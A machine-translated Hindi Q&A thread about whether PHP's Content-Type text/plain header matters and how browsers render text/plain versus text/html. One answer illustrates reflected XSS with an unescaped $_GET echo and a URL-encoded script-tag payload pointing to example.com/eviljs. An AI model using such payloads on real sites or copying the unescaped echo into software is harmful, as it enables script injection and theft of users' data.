2009-09-12 11 views
39

मुझे अभी तक इस सिर जानकारी के साथ या उसके बिना कोई अंतर नहीं दिख रहा है।हैडर ('सामग्री-प्रकार: टेक्स्ट/सादा'); बिल्कुल जरूरी है?

+0

5 उत्तर जो कि एक ही बात कहता है, इनमें से कोई भी सही उत्तर के रूप में नहीं चुना जाता है ... – Christian

उत्तर

90

"आवश्यक" परिभाषित करें।

यदि आप करने के लिए ब्राउज़र चाहते पता क्या फ़ाइल के प्रकार है आवश्यक है। यदि आप इसे ओवरराइड नहीं करते हैं तो PHP स्वचालित रूप से Content-Type शीर्षलेख text/html पर सेट करता है ताकि आपका ब्राउज़र इसे HTML फ़ाइल के रूप में देख रहा हो जिसमें HTML शामिल न हो। यदि आपके आउटपुट में कोई HTML शामिल है तो आपको बहुत अलग परिणाम दिखाई देंगे। आप भेजने के लिए थे, तो:

<b><i>test</i></b> 

एक Content-Type: text/html होगा उत्पादन:

परीक्षण

जबकि Content-Type: text/plain होगा उत्पादन:

<b><i>test</i></b> 

TLDR संस्करण: आप तो वास्तव में केवल पाठ को आउटपुट कर रहे हैं तो यह वास्तव में कोई फर्क नहीं पड़ता है, लेकिन यह IS गलत है।

+1

क्या आप कृपया PHP डिफ़ॉल्ट सामग्री प्रकार टेक्स्ट/एचटीएमएल के बारे में अपने बयान के लिए एक स्रोत प्रदान कर सकते हैं। मैं इस बात से असहमत नहीं हूं कि इस तरह के आधिकारिक दस्तावेज की तलाश कर रहा हूं। – billynoah

+8

"php.ini" default_mimetype "के लिए खोजें। दस्तावेज में "PHP का अंतर्निहित डिफ़ॉल्ट टेक्स्ट/एचटीएमएल" होगा। यकीन नहीं क्यों, लेकिन वे वास्तव में इसे [मैन्युअल] में नहीं बताते हैं (http://php.net/manual/en/ini.core.php#ini.default-mimetype)। –

+1

धन्यवाद। मैंने वास्तव में इसे आज पहले एक प्रश्न के रूप में पोस्ट किया और इस सेटिंग के बारे में सीखा। – billynoah

41

PHP डिफ़ॉल्ट रूप से सामग्री-प्रकार "टेक्स्ट/एचटीएमएल" का उपयोग करता है - जो कि "टेक्स्ट/सादा" जैसा ही है - और यह बताता है कि आपको कोई अंतर क्यों दिखाई नहीं देता है। यदि आप पाठ को आउटपुट करना चाहते हैं तो टेक्स्ट/सादा आवश्यक है (<> -सिंबोल सहित)। उदाहरण:

header("Content-Type: text/plain"); 
echo "<b>hello world</b>"; 
// Output: <b>hello world</b> 

header("Content-Type: text/html"); 
echo "<b>hello world</b>"; 
// Output: hello world 
+11

आपका * ब्राउज़र * डिफ़ॉल्ट रूप से टेक्स्ट/एचटीएमएल का उपयोग नहीं करता है: PHP करता है। – Miles

+0

मामूली विस्तार - उदाहरण कोड अभी भी मान्य है। –

+6

और स्पष्टीकरण अभी भी गलत है ... –

0
कोई

इसकी नहीं है कि की तरह, यहाँ मेरा उत्तर के समर्थन के लिए उदाहरण है ----> स्पष्ट अंतर, दिख रहा है जब आप HTTP संपीड़न, जो आप डेटा जबकि संपीड़ित करने के लिए अनुमति देता है के लिए जाना सर्वर से क्लाइंट तक यात्रा करना और इस डेटा का प्रकार स्वचालित रूप से "gzip" बन जाता है जो ब्राउज़र को बताता है कि bowser को ज़िपित डेटा मिला है और इसे अपज़िप करना है, यह एक ऐसा उदाहरण है जहां बोसर में वास्तव में मायने रखता है।

+1

वास्तव में यह वास्तव में कैसे काम करता है। –

+0

कृपया बताएं कि क्या मैं गलत हूं क्योंकि मैं वास्तव में अपने ज्ञान को सही करना चाहता हूं और वास्तव में सीखना चाहता हूं .. –

+0

ओह !! या खेद है कि यह सिर्फ मेरे दिमाग से फिसल गया है, लेकिन अगर आप टाइप को परिभाषित करते हैं तो आप सहमत नहीं हैं, यह आपको कुछ चुनिंदा प्रकार –

7

सामग्री-प्रकार शीर्षलेख सेट करना इस बात को प्रभावित करेगा कि एक वेब ब्राउज़र आपकी सामग्री का कैसा व्यवहार करता है। जब अधिकांश मुख्यधारा के वेब ब्राउज़र टेक्स्ट/सादे के सामग्री-प्रकार का सामना करते हैं, तो वे ब्राउज़र विंडो में कच्चे टेक्स्ट स्रोत (HTML पर प्रस्तुत स्रोत के विपरीत) प्रस्तुत करेंगे। यह

<b>foo</b> 

या

देखकर foo

साथ ही के बीच का अंतर है, जब XMLHttpRequest वस्तु का उपयोग कर, अपने Content-Type हैडर को प्रभावित करेगा कैसे ब्राउज़र को धारावाहिक लौटाए गए परिणाम । JQuery और प्रोटोटाइप जैसे AJAX ढांचे के अधिग्रहण से पहले, AJAX प्रतिक्रियाओं के साथ एक आम समस्या टेक्स्ट/xml के बजाय टेक्स्ट/html पर सामग्री-प्रकार सेट थी। यदि सामग्री-प्रकार टेक्स्ट/सादा था तो इसी तरह की समस्याएं होती हैं।

1

कहें कि आप 204 के साथ अनुरोध का उत्तर देना चाहते हैं: कोई सामग्री HTTP स्थिति नहीं। फ़ायरफ़ॉक्स ब्राउज़र के कंसोल में "कोई तत्व नहीं मिला" के साथ शिकायत करेगा। यह फ़ायरफ़ॉक्स में एक बग है जिसे कई वर्षों तक रिपोर्ट किया गया है, लेकिन कभी तय नहीं किया गया है। "सामग्री-प्रकार: टेक्स्ट/सादा" शीर्षलेख भेजकर, आप फ़ायरफ़ॉक्स में इस त्रुटि को रोक सकते हैं।

4

यह बहुत महत्वपूर्ण है कि आप ब्राउज़र को बताएं कि आप किस प्रकार का डेटा भेज रहे हैं। अंतर स्पष्ट होना चाहिए। अपने ब्राउज़र में निम्न PHP फ़ाइल के आउटपुट को देखने का प्रयास करें;

<?php 
header('Content-Type:text/html'); 
?> 
<p>Hello</p> 

आप देखेंगे:

हैलो

(ध्यान दें कि आप एक ही परिणाम प्राप्त कर सकेंगे यदि आप इस मामले में हैडर लाइन से याद आती है - पाठ/html php के डिफ़ॉल्ट है)

यह पाठ को बदलें/सादे

<?php 
header('Content-Type:text/plain'); 
?> 
<p>Hello</p> 

आप देखेंगे:

< p> नमस्कार </p> इस मामले

क्यों पड़ता है? यदि आप एक PHP स्क्रिप्ट है कि, उदाहरण के लिए, एक ajax अनुरोध के द्वारा प्रयोग किया जाता है में निम्नलिखित की तरह कुछ है, तो:

<?php 
header('Content-Type:text/html'); 
print "Your name is " . $_GET['name'] 

किसी ने अपनी साइट पर http://example.com/test.php?name=%3Cscript%20src=%22http://example.com/eviljs%22%3E%3C/script%3E जैसी URL के लिए एक लिंक डाल सकते हैं, और एक उपयोगकर्ता उस पर क्लिक करता है, तो , उन्होंने अपनी साइट पर अपनी सारी जानकारी का खुलासा किया है जो भी लिंक डालता है। यदि आप फ़ाइल को टेक्स्ट/सादे के रूप में सेवा देते हैं, तो आप सुरक्षित हैं।

ध्यान दें कि यह एक मूर्ख उदाहरण है, यह अधिक संभावना है कि हमलावर द्वारा डेटाबेस में किसी फ़ील्ड में या फॉर्म सबमिशन का उपयोग करके खराब स्क्रिप्ट टैग जोड़ा जाएगा।

संबंधित मुद्दे